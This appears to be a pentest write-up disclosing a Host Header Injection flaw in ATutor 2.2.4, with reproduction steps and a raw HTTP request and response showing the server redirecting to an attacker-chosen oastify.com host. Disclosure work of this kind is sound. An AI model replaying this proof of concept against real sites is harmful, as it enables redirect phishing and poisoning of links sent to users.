Friday Fun Pentest Series - 18 - Host Header Injection - atutorv2.2.4

Description

- It was found that the application had a Host Header Injection vulnerability.

Host Header Injection #1

Steps to Reproduce:

1. Visit specific page of the application
2. Intercept the HTTP GET/POST request
3. Modify the Host header to a domain of attackers choice
4. Forward the HTTP request

// HTTP GET request

GET /atutor/bounce.php?course=0 HTTP/1.1

Host: yz13ej73z3j9dnnv3rt0yxqeg5mwauyj.oastify.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://192.168.1.110/atutor/login.php

Connection: keep-alive

Cookie: ATutorID=oukcasgb86k60mefasc36joje4; flash=no

Upgrade-Insecure-Requests: 1

Priority: u=0, i

// HTTP response

HTTP/1.1 302 Found

Date: Thu, 09 Jan 2025 18:55:35 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.40

Set-Cookie: ATutorID=nl8ahpeo2tsd0mc4d2a0br4a94; path=/atutor/; HttpOnly

Set-Cookie: ATutorID=nl8ahpeo2tsd0mc4d2a0br4a94; path=/atutor/; HttpOnly

Set-Cookie: flash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: nexthelp_cookie=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/

Location: http://yz13ej73z3j9dnnv3rt0yxqeg5mwauyj.oastify.com/atutor/login.php

Vary: Accept-Encoding

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8